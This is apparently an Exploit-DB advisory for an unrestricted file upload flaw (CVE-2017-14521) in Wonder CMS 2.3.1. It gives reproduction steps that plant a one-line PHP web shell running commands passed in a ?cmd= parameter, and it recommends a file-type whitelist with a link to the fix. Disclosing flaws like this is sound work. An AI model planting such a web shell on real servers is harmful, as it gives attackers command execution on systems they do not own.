Wonder CMS 2.3.1 - Unrestricted File Upload

Author: Samrat Das
type: webapps
platform: php
port: 
date_added: 2018-02-05 
date_updated: 2018-09-11 
verified: 1 
codes: CVE-2017-14521 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt44000/43963.png 
application_url: http://www.exploit-db.comWonderCMS-2.3.1.zip

Affected Code:

public static function _uploadFile() { +
- if ( ! wCMS::$loggedIn && ! isset($_FILES['uploadFile']) && ! isset($_REQUEST['token'])) return; + private static function uploadFileAction()
- if (isset($_REQUEST['token']) && $_REQUEST['token'] == wCMS::_generateToken() && isset($_FILES['uploadFile'])) {


Proof of Concept
Steps to Reproduce:

1. Login with a valid credentials
2. Select Files option from the Settings menu of Content
3. Upload a file with php extension containing the below code:

           <?php

 $cmd=$_GET['cmd'];

 system($cmd);

 ?>

4. Click on Upload
5. Once the file is uploaded Click on the uploaded file and add ?cmd= to
the URL followed by a system command such as whoami,time,date etc.
Example:
http://localhost:8081/wondercms/files/shell.php?cmd=dir

Recommended Patch:

Create a whitelist of allowed filetypes.

The patch that addresses this bug is available here:

https://github.com/robiso/WonderCMS-testRepo/commit/8bd6cf9f3bf6a1d0123eb8b646584a63ee323c8a?diff=split

At line 742